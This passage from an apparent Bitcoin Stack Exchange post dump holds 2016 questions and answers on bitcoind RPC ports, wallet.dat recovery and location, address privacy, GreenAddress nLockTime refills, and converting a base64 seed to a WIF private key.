&quot;id&quot;:&quot;curltest&quot;, &quot;method&quot;: &quot;getinfo&quot;, &quot;params&quot;: [] }'  -H 'content-type: text/plain;' http://124.223.81.11:8333/&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and also:&#xA;&lt;code&gt;curl --data-binary &#xA;'{&quot;jsonrpc&quot;: &quot;1.0&quot;, &quot;id&quot;:&quot;curltest&quot;, &quot;method&quot;: &quot;getinfo&quot;, &quot;params&quot;: [] }' -H 'content-type: text/plain;' http://notmyrealuser:notmyrealpass@104.223.81.11:8333/&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing is working so I figured I would ask here after several hours of not making progress, everytime I receive:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;curl: (52) Empty reply from server&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="27951" LastActivityDate="2016-03-19T23:20:01.287" Title="Can't make successful call via remote JSON RPC" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43407" PostTypeId="2" ParentId="43406" CreationDate="2016-03-19T23:09:21.663" Score="5" Body="&lt;p&gt;You're trying to send RPC queries to the P2P network port. You should use port 8332 instead of 8333.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Core:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;interacts with other Bitcoin nodes on the network using the P2P protcol via port 8333 (or whatever you configure &lt;code&gt;-port&lt;/code&gt; to be)&lt;/li&gt;&#xA;&lt;li&gt;responds to RPC queries (JSON-RPC) via port 8332 (or whatever you configure &lt;code&gt;-rpcport&lt;/code&gt; to be).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2016-03-19T23:20:01.287" LastActivityDate="2016-03-19T23:20:01.287" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43408" PostTypeId="1" CreationDate="2016-03-19T23:37:29.033" Score="3" ViewCount="6706" Body="&lt;p&gt;My only one backup of encrypted wallet is corrupted (last time when backed it up i probably didn't shutdown bitcoin-qt), with hex editor i found in it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mkey&lt;/li&gt;&#xA;&lt;li&gt;ckey (117 that looks fine)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Does this enough for recovering my private keys? at least 117 of them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PS&lt;/strong&gt;&#xA;Already tried pywallet without success:&#xA;&lt;code&gt;ERROR:root:Couldn't open wallet.dat/main&lt;/code&gt;&#xA;Bitcoin-qt: &lt;code&gt;wallet.dat corrupt, salvage failed&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="34064" LastActivityDate="2017-12-01T10:37:30.250" Title="How can I fix corrupted encrypted wallet.dat?" Tags="|bitcoin-core|wallet.dat|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43409" PostTypeId="1" CreationDate="2016-03-19T23:43:23.500" Score="0" ViewCount="13342" Body="&lt;p&gt;I have clearly installed Windows 7 and Bitcoin Core.&#xA;There is no Bitcoin folder in {User}/AppData/Roaming... Blockchain is dowloading but I cannot find where it is and wallet.dat also. Anybody help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My OS in Windows 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I am kind of idiot so I'm pasting PrintScreens with steps I have done&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GDORP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GDORP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/atehL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/atehL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="83779" LastEditorUserId="83779" LastEditDate="2016-03-20T17:49:12.213" LastActivityDate="2016-04-19T16:59:25.510" Title="Where is wallet.dat file?" Tags="|bitcoin-core|wallet.dat|windows|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="43410" PostTypeId="2" ParentId="43403" CreationDate="2016-03-20T01:36:19.163" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/richardkiss/pycoin&quot; rel=&quot;nofollow&quot;&gt;pycoin&lt;/a&gt; is probably your best bet. You need the utxo first, which you'll need to look up somewhere (blockchain.info is fine). Once you have the utxos, they'd need to be TxIns like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tx_in = TxIn(&quot;&amp;lt;utxo hash in binary here&amp;gt;&quot;, &amp;lt;utxo position, usually between 0 and 5&amp;gt;)&#xA;script = standard_tx_out_script(address)&#xA;tx_out = TxOut(&amp;lt;btc amount to send - fee&amp;gt;, script)&#xA;tx = Tx(1, [tx_in], [tx_out])&#xA;lookup = &amp;lt;this part you have to figure out&amp;gt;&#xA;tx.sign(lookup)&#xA;print tx.as_hex()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can take the results and paste to something like &lt;a href=&quot;https://blockchain.info/pushtx&quot; rel=&quot;nofollow&quot;&gt;blockchain.info's send transaction page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: It's very easy to screw this up and have a too-high tx fee or lose your coins altogether. I would NOT recommend it. Install Armory and import the key or do the same using Mycelium. It's a lot safer to do it that way.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2016-03-20T01:36:19.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43412" PostTypeId="2" ParentId="10435" CreationDate="2016-03-20T07:13:39.977" Score="0" Body="&lt;p&gt;Instant exchange service I'm using myself and recommending to everyone else cause they don't store the coins and fiat, had recently expanded to Canada. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check this out I believe this is exactly what you need: &lt;a href=&quot;http://www.newswire.ca/news-releases/247exchangecom-covers-canada-with-instant-ways-of-buying-bitcoin-570478861.html&quot; rel=&quot;nofollow&quot;&gt;http://www.newswire.ca/news-releases/247exchangecom-covers-canada-with-instant-ways-of-buying-bitcoin-570478861.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20992" LastActivityDate="2016-03-20T07:13:39.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43414" PostTypeId="1" CreationDate="2016-03-20T10:19:19.663" Score="1" ViewCount="288" Body="&lt;p&gt;Ok, I understand that GreenAddress wallet uses a nLockTime transaction to put the funds in a 2of2 wallet, to give the user the peace of mind that, in the case their server disappears, they can still have access to the funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm interested to know how does the refill work exactly? I've read somewhere that if you make a transaction before the nLockTime expires, your transaction is automatically re-locking funds? How is this possible technically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2751" LastActivityDate="2016-06-19T12:25:04.460" Title="How does the GreenAddress refill (relock) work when its nLockTime expires?" Tags="|multi-signature|locktime|green-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43415" PostTypeId="2" ParentId="43408" CreationDate="2016-03-20T10:58:25.503" Score="4" Body="&lt;p&gt;Found out that &lt;a href=&quot;https://github.com/jackjack-jj/pywallet&quot; rel=&quot;nofollow&quot;&gt;pywallet&lt;/a&gt; has recovery feature, and it worked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Created 1GB FAT32 partition on flash drive(/dev/sdb1 in my case), copied corrupted wallet.dat on it and run:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;nyaa@ubuntu:~/github/pywallet$ sudo ./pywallet.py --recover --recov_device /dev/sdb1 --recov_size 1Gio --recov_outputdir /home/nyaa/&#xA;...&#xA;All the found encrypted private keys have been decrypted.&#xA;The wallet is encrypted and the passphrase is correct&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of change addresses with all bitcoins on it was there!&lt;/p&gt;&#xA;" OwnerUserId="34064" LastActivityDate="2016-03-20T10:58:25.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43416" PostTypeId="1" AcceptedAnswerId="43422" CreationDate="2016-03-20T11:46:14.047" Score="1" ViewCount="96" Body="&lt;p&gt;I was wondering, is it a security risk if you display your bitcoin wallet on the internet? Let's say my bitcoin address is &lt;code&gt;123abc&lt;/code&gt;. This is linked to my wallet which stores several bitcoins. It is adviced to place the address &lt;code&gt;123abc&lt;/code&gt; openly on the internet? Or is it a security risk?&lt;/p&gt;&#xA;" OwnerUserId="34079" LastActivityDate="2016-03-20T16:12:37.407" Title="Displaying the bitcoin wallet on the internet" Tags="|security|address|wallet-security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43417" PostTypeId="1" CreationDate="2016-03-20T12:50:23.837" Score="0" ViewCount="1858" Body="&lt;p&gt;I cannot find any wallet.dat file on my c: drive. Any ideas where it can be put?&#xA;Everybody says the same and I'm doing it. Maybe I'm kind of idiot so I'm pasting screens with steps I have done:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kLWTS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kLWTS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XRKir.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XRKir.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same with Litecoin Core&lt;/p&gt;&#xA;" OwnerUserId="83779" LastEditorUserId="83779" LastEditDate="2016-03-20T17:51:21.367" LastActivityDate="2016-03-21T19:05:59.020" Title="Where is data folder for Bitcoin Core in Windows 7?" Tags="|bitcoin-core|windows|" AnswerCount="1" CommentCount="9" ClosedDate="2016-03-26T23:22:03.343" ContentLicense="CC BY-SA 3.0" />
  <row Id="43418" PostTypeId="2" ParentId="43414" CreationDate="2016-03-20T13:13:34.030" Score="1" Body="&lt;p&gt;For every bitcoin transaction you make or receive in a 2of2 wallet the platform sends you an email with an encrypted zip file containing all relevant transactions (spending all your &lt;a href=&quot;https://bitcoin.org/en/glossary/unspent-transaction-output&quot; rel=&quot;nofollow&quot;&gt;utxo, unspent transaction output&lt;/a&gt;) with nlocktime set and partially signed (by GreenAddress).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you normally spend on the platform, you will make some of these presigned transactions invalid by  virtue of spending those utxo (this is because when you spend you spend the entire amount and if there's any change left this is sent back to yourself, in our specific case to a new address) and when this happens you get a new zip with an nlocktime starting from when the zip was generated for the new transactions.&lt;/p&gt;&#xA;" OwnerUserId="14871" LastEditorUserId="14871" LastEditDate="2016-03-21T09:41:08.710" LastActivityDate="2016-03-21T09:41:08.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43420" PostTypeId="1" CreationDate="2016-03-20T15:28:21.190" Score="1" ViewCount="133" Body="&lt;p&gt;A friend of mine is victem of locky ransomware, and is requested to transfer bitcoins. Of course I recommended against it, but it made me wonder what happens if people do follow the instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, are there any wallets known to be related to these criminals/ how could they ever do a sifnificant cashout?&lt;/p&gt;&#xA;" OwnerUserId="34084" LastActivityDate="2016-03-20T20:08:35.483" Title="track criminal payments from Locky" Tags="|traceability|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43422" PostTypeId="2" ParentId="43416" CreationDate="2016-03-20T16:12:37.407" Score="3" Body="&lt;p&gt;First, do not mix up the words &quot;wallet&quot; and &quot;address&quot;.  A wallet is a file or computer program which stores the &lt;em&gt;private keys&lt;/em&gt; corresponding to one or more Bitcoin addresses.  Sharing the address is very different from sharing the private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sharing the address is not a &lt;em&gt;security&lt;/em&gt; risk, in the sense that knowing the address does not give anyone the ability to spend your bitcoins.  They would have to know the private key.  Indeed, since Bitcoin uses a public transaction register, you can assume everyone in the world already knows the address &lt;code&gt;123abc&lt;/code&gt; exists, and knows how many bitcoins are credited to that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, sharing the address can be a &lt;em&gt;privacy&lt;/em&gt; risk.  Everybody knows that the address &lt;code&gt;123abc&lt;/code&gt; exists; what they don't know is who it belongs to.  If you post the address on your personal website, or from an account that can be connected to you, now they do know that.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, suppose you made a transaction from that address to an address that's known to belong to EmbarrassingSexToys.com.  The transaction is public, so everyone can see that it was made.  If you hadn't posted your address on the Internet, then everybody knows that somebody bought an embarrassing sex toy, but nobody knows who it was.  If you &lt;em&gt;did&lt;/em&gt; post your address, then everyone knows that Adnan bought an embarrassing sex toy.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2016-03-20T16:12:37.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43425" PostTypeId="1" CreationDate="2016-03-21T03:23:05.950" Score="2" ViewCount="1543" Body="&lt;p&gt;I have BTC in my wallet but I lost my private key and I can't do transactions anymore.&#xA;How can I get a new private key or pass the BTC to another address?&lt;/p&gt;&#xA;" OwnerUserId="34105" LastEditorUserId="5406" LastEditDate="2016-03-21T09:55:13.357" LastActivityDate="2016-03-21T09:55:13.357" Title="I lost my private key" Tags="|bitcoin-wallet-app|lost-wallet|" AnswerCount="1" CommentCount="0" ClosedDate="2021-03-19T18:36:21.937" ContentLicense="CC BY-SA 3.0" />
  <row Id="43426" PostTypeId="1" AcceptedAnswerId="43439" CreationDate="2016-03-21T03:26:51.533" Score="1" ViewCount="1182" Body="&lt;p&gt;I just got some awesome new ASIC miners (2 Butterfly Jalapeño 5GH/s) and set them up, started running them, and only one of them was actually working. Yes I have all my cables correctly plugged in to a good power source. Can someone please tell me how to connect them so they can mine together?&lt;/p&gt;&#xA;" OwnerUserId="33984" LastEditorUserId="5406" LastEditDate="2016-03-21T11:08:02.257" LastActivityDate="2016-03-22T03:28:21.613" Title="How does one set up and configure a Butterfly Jalapeño for mining?" Tags="|mining-hardware|miner-configuration|mining-setup|butterfly-labs|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43427" PostTypeId="2" ParentId="43425" CreationDate="2016-03-21T04:54:37.607" Score="9" Body="&lt;p&gt;If you don't have the private key, there is no way to access those coins.  Period.  The security of Bitcoin as a currency relies on that fact.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either recover the private key somehow, or consider the coins gone.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2016-03-21T04:54:37.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43428" PostTypeId="1" CreationDate="2016-03-21T08:21:13.297" Score="2" ViewCount="6784" Body="&lt;p&gt;Private keys are 256 bits (32-bytes) long, according to bitcoin wiki:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Private_key&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Private_key&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Diamond Circle, an Australian startup, sent me a pair of bitcoin address and its private key. Blockchain.info shows that the money is still in the given address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the private key is &lt;strong&gt;64-bytes&lt;/strong&gt; long. It's base-64 encoded evident by the trailing ==&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it's not in WIF, I wonder how to import it. Has anyone seen 64bit private keys before?&lt;/p&gt;&#xA;" OwnerUserId="34110" LastEditorUserId="34110" LastEditDate="2016-04-09T23:52:24.603" LastActivityDate="2021-02-10T02:55:58.620" Title="How to import a 64-byte long private key" Tags="|private-key|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43430" PostTypeId="2" ParentId="42719" CreationDate="2016-03-21T11:15:00.977" Score="1" Body="&lt;p&gt;As the block id is known, the fee can be found from the coinbase itself without an overhead. Maintain a simple map for reward points saying blocks between 0-149 gives 50 BTC, next 149 25 etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the first transaction in any block is always a coinbase tran. &#xA;Coinbasetran-&gt;vout[0] - reward = Fee (actual fee + unclaimed change)&lt;/p&gt;&#xA;" OwnerUserId="34117" LastActivityDate="2016-03-21T11:15:00.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43431" PostTypeId="2" ParentId="30884" CreationDate="2016-03-21T14:37:21.253" Score="2" Body="&lt;p&gt;I believe what you are looking for is and address based index for txout. Have a look here &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1395749.msg14194272#msg14194272&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=1395749.msg14194272#msg14194272&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your basic idea of keeping a map of address -&gt; txout is ok. You might want to rethink about storing in memory. Current bitcoind chainstate is around 1.2G (compressed state). &lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2016-03-21T14:37:21.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43432" PostTypeId="1" CreationDate="2016-03-21T15:27:12.650" Score="0" ViewCount="700" Body="&lt;p&gt;I am owed about £7000 from a friend in Egypt but we are having a very difficult time transferring the money to my UK bank account, as the money is in UKP (sterling) WU and moneygram only accept USD, the banks want a government signed contract between us, and paypal is new in Egypt and will not accept debit cards or his new visa card so he cannot sign up to these services, so my question is, is bitcoin a way that we could transfer the funds directly to me and will I be able to convert the bitcoins to Sterling, and how much will this cost? many thanks to all that reply&#xA;Tony&lt;/p&gt;&#xA;" OwnerUserId="34122" LastActivityDate="2016-03-22T00:20:52.497" Title="Can I use Bitcoin to recieve funds from Egypt" Tags="|money-transfer|" AnswerCount="1" CommentCount="1" ClosedDate="2016-03-26T23:42:33.810" ContentLicense="CC BY-SA 3.0" />
  <row Id="43434" PostTypeId="2" ParentId="43417" CreationDate="2016-03-21T19:05:59.020" Score="0" Body="&lt;p&gt;The default directory would be %APPDATA%\Bitcoin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't find it you may hit the Windows-Key+F and enter &quot;wallet.dat&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also export your wallet from within Bitcoin-QT: File&gt;Save Wallet&lt;/p&gt;&#xA;" OwnerUserId="34061" LastActivityDate="2016-03-21T19:05:59.020" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="43435" PostTypeId="1" AcceptedAnswerId="43436" CreationDate="2016-03-21T23:17:28.277" Score="4" ViewCount="1290" Body="&lt;p&gt;How are bitcoins reassigned, that is, what about a transaction makes a &quot;coin&quot; no longer usable by the sender, and makes it usable by the recipient?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alice wants to send bitcoins to Bob. Alice's wallet gathers transactions originally sent to Alice so that the monetary amount of said transactions is at least the amount that Alice wants to send Bob. The transaction is basically a message, so a little bit of ECDSA on top of that and boom, there's a transaction: only Alice could have created that particular transaction (message), and anyone can verify Alice's signature for that transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now Bob &quot;receives&quot; the money. Why can he use it? (Indeed, why could Alice use the money above...) Digital signatures of themselves don't solve this problem, i.e. the transaction/message along with its signature doesn't &quot;transfer&quot; anything, there's gotta be some other ingredient involved, but what is it? I can't see, or at least not understand, the answer in the various sources I've read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has to be something about Bob's private key, but I can't see how it's used to &quot;unlock&quot; the money he received from Alice. I don't know what transactions look like exactly, but suppose they're basically of the form tx_1 = (Alice's public key)+amount+(Bob's public key) - would Bob's wallet basically be saying &quot;reproduce Bob's public key and you can access tx_1&quot;? I guess that would do the trick, but then again Bob was already &quot;logged on&quot; to his wallet so he's already proven the ability to reproduce Bob's public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok I think I'm getting ahead of myself. Anyway, received transactions, how are they &quot;unlocked&quot;? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Yes, I have tried finding an answer on BSE and elsewhere already.)&lt;/p&gt;&#xA;" OwnerUserId="30935" LastActivityDate="2016-03-21T23:44:56.447" Title="How are bitcoins reassigned?" Tags="|transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43436" PostTypeId="2" ParentId="43435" CreationDate="2016-03-21T23:39:40.350" Score="3" Body="&lt;p&gt;Transactions are chained in a way that when Alice spend funds, she has to provide two pieces of information, the first one is a proof that the money was sent to her  and the other is a challenge for whomever wants to spend the coins she is sending, so when Alice received her coins she provided an Address, I.E the challenge, or a hash of the challenge to be more precise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Bobs gives his address he is doing the same, he is providing the challenge that needs to be solved in order to spend the coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Bob generates an address what he is doing is generating a key pair, the private key he keeps secret to use when he wants to spend funds, and the public key is hashed twice and encoded in a special format, (Base58Check), and is that encoded hashed value what he shares with Alice. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when Alice pays to Bob, she creates a new transaction, that refers to the old transaction from which she is spending, that old transaction has the hash of Alice's PublicKey, it pays to whomever can demonstrate that owns the ECDSA private key that generated Alice address. That is easy to check, because Alice provides the public key that hashes to that address and she signs the spending transaction with the private key and adds the signature to the transaction that spends the funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It means that she needs not only to prove that she has the private key, but she must also prove that having the private key she approves the spending by signing the transaction that spends her funds.&lt;/p&gt;&#xA;" OwnerUserId="34132" LastEditorUserId="34132" LastEditDate="2016-03-21T23:44:56.447" LastActivityDate="2016-03-21T23:44:56.447" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="43437" PostTypeId="2" ParentId="43432" CreationDate="2016-03-22T00:20:52.497" Score="0" Body="&lt;p&gt;Yes it is possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Find a bitcoin seller in Egypt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Buy Bitcoins in Egypt. Your Friend must provide a bitcoin address to receive the bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) You provide a bitcoin address to your friend where he sends the bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) You find someone willing to buy bitcoins with sterling in your location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Sell your bitcoins and receive Sterling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You both will need a bitcoin wallet. And a way to contact with a bitcoin seller/exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do the exchange in person (ie, LocalBitcoins) or directly to your UK bank account using a service like Coinbase.&lt;/p&gt;&#xA;" OwnerUserId="34132" LastActivityDate="2016-03-22T00:20:52.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43438" PostTypeId="2" ParentId="43428" CreationDate="2016-03-22T01:10:35.703" Score="1" Body="&lt;p&gt;Taking into account that 64bytes keys are probably seed keys in bip32 format you might need to derive the key first. I modified the code to reflect that &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;npm install coinstring hdkey&#xA;node &#xA;var HDKey = require('hdkey')&#xA;var cs = require('coinstring')&#xA;&#xA;// This is your base64 key &#xA;var seed = 'oMQqnDrGq/K6aplGroOvGPUb8cn6fazEySUTzE3QFYNDQcd13NTA+sc1R8VmLYGp6TYaCqxgSnOjIb2RA7zorw=='&#xA;var hdkey = HDKey.fromMasterSeed(new Buffer(seed, 'base64'))&#xA;&#xA;var hex = hdkey.privateKey&#xA;var version = 0x80; //Bitcoin private key&#xA;console.log(cs.encode(hex, version)) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It should give you the familiar WIF format private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5HyfJgfUm7WVgUrLuo9uwtJR6ME7MYfGRhK2aeckZRooSKYGXP8&lt;/p&gt;&#xA;" OwnerUserId="34132" LastEditorUserId="34132" LastEditDate="2016-03-29T19:48:49.760" LastActivityDate="2016-03-29T19:48:49.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43439" PostTypeId="2" ParentId="43426" CreationDate="2016-03-22T03:28:21.613" Score="-1" Body="&lt;p&gt;I figured this out. A simple computer restart and software re-download fixed the problem. &lt;/p&gt;&#xA;" OwnerUserId="33984" LastActivityDate="2016-03-22T03:28:21.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43440" PostTypeId="1" AcceptedAnswerId="49618" CreationDate="2016-03-22T04:04:12.317" Score="10" ViewCount="1381" Body="&lt;p&gt;In chapter 11 of the &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Satoshi's paper&lt;/a&gt; it is claimed that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The recipient waits until the transaction has been added to a block&#xA;  and z blocks have been linked after it. He doesn't know the exact&#xA;  amount of progress the attacker has made, but assuming the honest&#xA;  blocks took the average expected time per block, the attacker's&#xA;  potential progress will be a &lt;strong&gt;Poisson distribution&lt;/strong&gt; with expected&#xA;  value zq/p.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think the precise model should be a &lt;strong&gt;negative binomial&lt;/strong&gt; distribution instead of a &lt;strong&gt;Poisson&lt;/strong&gt; one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: Is Satoshi's solution an approximation or is it supposed to describe accurately the problem?&lt;/p&gt;&#xA;" OwnerUserId="34135" LastEditorUserId="54337" LastEditDate="2017-07-12T23:42:57.717" LastActivityDate="2017-07-12T23:42:57.717" Title="Why is Poisson instead of Negative Binomial used for computing attacker's potential progress?" Tags="|doublespend|satoshi-nakamoto|block-interval|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43441" PostTypeId="2" ParentId="43347" CreationDate="2016-03-22T04:50:18.237" Score="0" Body="&lt;p&gt;I would agree with the others above.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put very simply, &lt;strong&gt;you are very likely feeding in a text string, with its own binary representation of the characters; this has no useful relation to the actual binary bit patterns represented by the text encoding of the characters.  So, as stated above, take your text of the hex symbols and convert it to a binary representation of what was originally intended.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note that this is not unique to SHA-256.  This can be a problem for any program that expects binary input.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A similar problem arises when decoding the text representation of dates in a Coinbase download.  It has a character value of the datime, but all I need is the date itself in date format.  Not difficult but it makes one pause to really think about what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="33867" LastActivityDate="2016-03-22T04:50:18.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43442" PostTypeId="2" ParentId="43370" CreationDate="2016-03-22T04:54:35.313" Score="-3" Body="&lt;p&gt;Blocks that are not yet confirmed look this way, so just wait a bit then try again.  Continue checking for x amount of time before declaring it an orphan.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may even be other blocks that have not been assigned a place in the blockchain that are ahead of it.  Most blocks are confirmed pretty quickly, but others can take several minutes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far we haven't yet seen clearance times measured in hours.  And if the block size is increased simultaneously with the doubling of the work factor this summer (the first since 2012) we may well see ever longer clearance times.  So as  you encounter these blocks they may be in the pipeline for confirmation.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are operating as a full node you will notice them coming through.  If you can't confirm then your node won't answer at all.  If you are looking at the stream directly be sure to look at when your node chooses to confirm or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, don't think you need to do anything manually.  Your node knows what to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="33867" LastEditorUserId="33867" LastEditDate="2016-03-22T05:01:49.943" LastActivityDate="2016-03-22T05:01:49.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
